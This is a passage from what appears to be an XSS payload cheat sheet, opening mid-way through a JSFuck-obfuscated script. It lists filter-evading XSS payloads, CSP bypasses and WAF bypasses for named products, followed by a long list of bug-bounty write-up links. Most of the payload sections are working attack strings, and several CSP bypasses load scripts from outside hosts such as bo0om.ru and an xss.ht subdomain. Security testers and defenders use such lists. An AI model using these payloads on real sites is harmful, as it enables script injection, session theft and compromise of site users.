[]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
|
||
```
|
||
|
||
Exotic payloads
|
||
|
||
```javascript
|
||
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
|
||
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
|
||
<script>$=1,alert($)</script>
|
||
<script ~~~>confirm(1)</script ~~~>
|
||
<script>$=1,\u0061lert($)</script>
|
||
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
|
||
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
|
||
</style></scRipt><scRipt>alert(1)</scRipt>
|
||
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
|
||
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
|
||
<svg><x><script>alert('1')</x>
|
||
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
|
||
```
|
||
|
||
## CSP Bypass
|
||
|
||
Check the CSP on [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) and the post : [How to use Google’s CSP Evaluator to bypass CSP](https://blog.thomasorlita.cz/vulns/google-csp-evaluator/)
|
||
|
||
### Bypass CSP using JSONP from Google (Trick by [@apfeifer27](https://twitter.com/apfeifer27))
|
||
|
||
//google.com/complete/search?client=chrome&jsonp=alert(1);
|
||
|
||
```js
|
||
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
|
||
```
|
||
|
||
More JSONP endpoints available in [/Intruders/jsonp_endpoint.txt](Intruders/jsonp_endpoint.txt)
|
||
|
||
### Bypass CSP by [lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa)
|
||
|
||
Works for CSP like `Content-Security-Policy: default-src 'self' 'unsafe-inline';`, [POC here](http://hsts.pro/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;)
|
||
|
||
```js
|
||
script=document.createElement('script');
|
||
script.src='//bo0om.ru/csp.js';
|
||
window.frames[0].document.head.appendChild(script);
|
||
```
|
||
|
||
### Bypass CSP by [Rhynorater](https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f)
|
||
|
||
```js
|
||
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://yoursubdomain.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
|
||
```
|
||
|
||
### Bypass CSP by [@akita_zen](https://twitter.com/akita_zen)
|
||
|
||
Works for CSP like `script-src self`
|
||
|
||
```js
|
||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||
```
|
||
|
||
## Common WAF Bypass
|
||
|
||
### Chrome Auditor - 9th august
|
||
|
||
```javascript
|
||
</script><svg><script>alert(1)-%26apos%3B
|
||
```
|
||
|
||
Live example by @brutelogic - [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert(1)-%26apos%3B)
|
||
|
||
### Incapsula WAF Bypass by [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)- 8th march
|
||
|
||
```javascript
|
||
anythinglr00</script><script>alert(document.domain)</script>uxldz
|
||
|
||
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
|
||
```
|
||
|
||
### Incapsula WAF Bypass by [@c0d3G33k](https://twitter.com/c0d3G33k) - 11th september
|
||
|
||
```javascript
|
||
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
|
||
```
|
||
|
||
### Akamai WAF Bypass by [@zseano](https://twitter.com/zseano) - 18th june
|
||
|
||
```javascript
|
||
?"></script><base%20c%3D=href%3Dhttps:\mysite>
|
||
```
|
||
|
||
### Akamai WAF Bypass by [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480) - 28th october
|
||
|
||
```html
|
||
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
|
||
```
|
||
|
||
### WordFence WAF Bypass by [@brutelogic](https://twitter.com/brutelogic) - 12th september
|
||
|
||
```javascript
|
||
<a href=javascript:alert(1)>
|
||
```
|
||
|
||
## More fun
|
||
|
||
This section will be used for the "fun/interesting/useless" stuff.
|
||
|
||
Use notification box instead of an alert - by [@brutelogic](https://twitter.com/brutelogic)
|
||
Note : it requires user permission
|
||
|
||
```javascript
|
||
Notification.requestPermission(x=>{new(Notification)(1)})
|
||
```
|
||
|
||
Try here : [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c3=%27;Notification.requestPermission(x=>%7Bnew(Notification)(1)%7D)//)
|
||
|
||
## References
|
||
|
||
- [Unleashing-an-Ultimate-XSS-Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot)
|
||
- tbm
|
||
- [(Relative Path Overwrite) RPO XSS - Infinite Security](http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html)
|
||
- [RPO TheSpanner](http://www.thespanner.co.uk/2014/03/21/rpo/)
|
||
- [RPO Gadget - innerthmtl](http://blog.innerht.ml/rpo-gadgets/)
|
||
- [Relative Path Overwrite - Detectify](http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite)
|
||
- [XSS ghettoBypass - d3adend](http://d3adend.org/xss/ghettoBypass)
|
||
- [XSS without HTML: Client-Side Template Injection with AngularJS](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html)
|
||
- [XSSING WEB PART - 2 - Rakesh Mane](http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html)
|
||
- [Making an XSS triggered by CSP bypass on Twitter. @tbmnull](https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5)
|
||
- [Ways to alert(document.domain) - @tomnomnom](https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309)
|
||
- [D1T1 - Michele Spagnuolo and Lukas Wilschelbaum - So We Broke All CSPs](https://conference.hitb.org/hitbsecconf2017ams/materials/D1T1%20-%20Michele%20Spagnuolo%20and%20Lukas%20Wilschelbaum%20-%20So%20We%20Broke%20All%20CSPS.pdf)
|
||
- [Sleeping stored Google XSS Awakens a $5000 Bounty](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) by Patrik Fehrenbach
|
||
- [RPO that lead to information leakage in Google](http://blog.innerht.ml/rpo-gadgets/) by filedescriptor
|
||
- [God-like XSS, Log-in, Log-out, Log-in](https://whitton.io/articles/uber-turning-self-xss-into-good-xss/) in Uber by Jack Whitton
|
||
- [Three Stored XSS in Facebook](http://www.breaksec.com/?p=6129) by Nirgoldshlager
|
||
- [Using a Braun Shaver to Bypass XSS Audit and WAF](https://blog.bugcrowd.com/guest-blog-using-a-braun-shaver-to-bypass-xss-audit-and-waf-by-frans-rosen-detectify) by Frans Rosen
|
||
- [An XSS on Facebook via PNGs & Wonky Content Types](https://whitton.io/articles/xss-on-facebook-via-png-content-types/) by Jack Whitton
|
||
- he is able to make stored XSS from a irrelevant domain to main facebook domain
|
||
- [Stored XSS in *.ebay.com](https://whitton.io/archive/persistent-xss-on-myworld-ebay-com/) by Jack Whitton
|
||
- [Complicated, Best Report of Google XSS](https://sites.google.com/site/bughunteruniversity/best-reports/account-recovery-xss) by Ramzes
|
||
- [Tricky Html Injection and Possible XSS in sms-be-vip.twitter.com](https://hackerone.com/reports/150179) by secgeek
|
||
- [Command Injection in Google Console](http://www.pranav-venkat.com/2016/03/command-injection-which-got-me-6000.html) by Venkat S
|
||
- [Facebook's Moves - OAuth XSS](http://www.paulosyibelo.com/2015/12/facebooks-moves-oauth-xss.html) by PAULOS YIBELO
|
||
- [Stored XSS in Google Docs (Bug Bounty)](http://hmgmakarovich.blogspot.hk/2015/11/stored-xss-in-google-docs-bug-bounty.html) by Harry M Gertos
|
||
- [Stored XSS on developer.uber.com via admin account compromise in Uber](https://hackerone.com/reports/152067) by James Kettle (albinowax)
|
||
- [Yahoo Mail stored XSS](https://klikki.fi/adv/yahoo.html) by Klikki Oy
|
||
- [Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)](http://mksben.l0.cm/2016/07/xxn-caret.html) by Masato Kinugawa
|
||
- [Youtube XSS](https://labs.detectify.com/2015/06/06/google-xss-turkey/) by fransrosen
|
||
- [Best Google XSS again](https://sites.google.com/site/bughunteruniversity/best-reports/openredirectsthatmatter) - by Krzysztof Kotowicz
|
||
- [IE & Edge URL parsin Problem](https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/) - by detectify
|
||
- [Google XSS subdomain Clickjacking](http://sasi2103.blogspot.sg/2016/09/combination-of-techniques-lead-to-dom.html)
|
||
- [Microsoft XSS and Twitter XSS](http://blog.wesecureapp.com/xss-by-tossing-cookies/)
|
||
- [Google Japan Book XSS](http://nootropic.me/blog/en/blog/2016/09/20/%E3%82%84%E3%81%AF%E3%82%8A%E3%83%8D%E3%83%83%E3%83%88%E3%82%B5%E3%83%BC%E3%83%95%E3%82%A3%E3%83%B3%E3%82%92%E3%81%97%E3%81%A6%E3%81%84%E3%81%9F%E3%82%89%E3%81%9F%E3%81%BE%E3%81%9F%E3%81%BEgoogle/)
|
||
- [Flash XSS mega nz](https://labs.detectify.com/2013/02/14/how-i-got-the-bug-bounty-for-mega-co-nz-xss/) - by frans
|
||
- [Flash XSS in multiple libraries](https://olivierbeg.com/finding-xss-vulnerabilities-in-flash-files/) - by Olivier Beg
|
||
- [xss in google IE, Host Header Reflection](http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html)
|
||
- [Years ago Google xss](http://conference.hitb.org/hitbsecconf2012ams/materials/D1T2%20-%20Itzhak%20Zuk%20Avraham%20and%20Nir%20Goldshlager%20-%20Killing%20a%20Bug%20Bounty%20Program%20-%20Twice.pdf)
|
||
- [xss in google by IE weird behavior](http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html)
|
||
- [xss in Yahoo Fantasy Sport](https://web.archive.org/web/20161228182923/http://dawgyg.com/2016/12/07/stored-xss-affecting-all-fantasy-sports-fantasysports-yahoo-com-2/)
|
||
- [xss in Yahoo Mail Again, worth $10000](https://klikki.fi/adv/yahoo2.html) by Klikki Oy
|
||
- [Sleeping XSS in Google](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) by securityguard
|
||
- [Decoding a .htpasswd to earn a payload of money](https://blog.it-securityguard.com/bugbounty-decoding-a-%F0%9F%98%B1-00000-htpasswd-bounty/) by securityguard
|
||
- [Google Account Takeover](http://www.orenh.com/2013/11/google-account-recovery-vulnerability.html#comment-form)
|
||
- [AirBnb Bug Bounty: Turning Self-XSS into Good-XSS #2](http://www.geekboy.ninja/blog/airbnb-bug-bounty-turning-self-xss-into-good-xss-2/) by geekboy
|
||
- [Uber Self XSS to Global XSS](https://httpsonly.blogspot.hk/2016/08/turning-self-xss-into-good-xss-v2.html)
|
||
- [How I found a $5,000 Google Maps XSS (by fiddling with Protobuf)](https://medium.com/@marin_m/how-i-found-a-5-000-google-maps-xss-by-fiddling-with-protobuf-963ee0d9caff#.cktt61q9g) by Marin MoulinierFollow
|
||
- [Airbnb – When Bypassing JSON Encoding, XSS Filter, WAF, CSP, and Auditor turns into Eight Vulnerabilities](https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-auditor-turns-into-eight-vulnerabilities/) by Brett
|
||
- [XSSI, Client Side Brute Force](http://blog.intothesymmetry.com/2017/05/cross-origin-brute-forcing-of-saml-and.html)
|
||
- [postMessage XSS Bypass](https://hackerone.com/reports/231053)
|
||
- [XSS in Uber via Cookie](http://zhchbin.github.io/2017/08/30/Uber-XSS-via-Cookie/) by zhchbin
|
||
- [Stealing contact form data on www.hackerone.com using Marketo Forms XSS with postMessage frame-jumping and jQuery-JSONP](https://hackerone.com/reports/207042) by frans
|
||
- [XSS due to improper regex in third party js Uber 7k XSS](http://zhchbin.github.io/2016/09/10/A-Valuable-XSS/)
|
||
- [XSS in TinyMCE 2.4.0](https://hackerone.com/reports/262230) by Jelmer de Hen
|
||
- [Pass uncoded URL in IE11 to cause XSS](https://hackerone.com/reports/150179)
|
||
- [Twitter XSS by stopping redirection and javascript scheme](http://blog.blackfan.ru/2017/09/devtwittercom-xss.html) by Sergey Bobrov
|
||
- [Auth DOM Uber XSS](http://stamone-bug-bounty.blogspot.hk/2017/10/dom-xss-auth_14.html)
|
||
- [Managed Apps and Music: two Google reflected XSSes](https://ysx.me.uk/managed-apps-and-music-a-tale-of-two-xsses-in-google-play/)
|
||
- [App Maker and Colaboratory: two Google stored XSSes](https://ysx.me.uk/app-maker-and-colaboratory-a-stored-google-xss-double-bill/)
|
||
- [XSS in www.yahoo.com](https://www.youtube.com/watch?v=d9UEVv3cJ0Q&feature=youtu.be)
|
||
- [Stored XSS, and SSRF in Google using the Dataset Publishing Language](https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html)
|
||
- [Stored XSS on Snapchat](https://medium.com/@mrityunjoy/stored-xss-on-snapchat-5d704131d8fd) |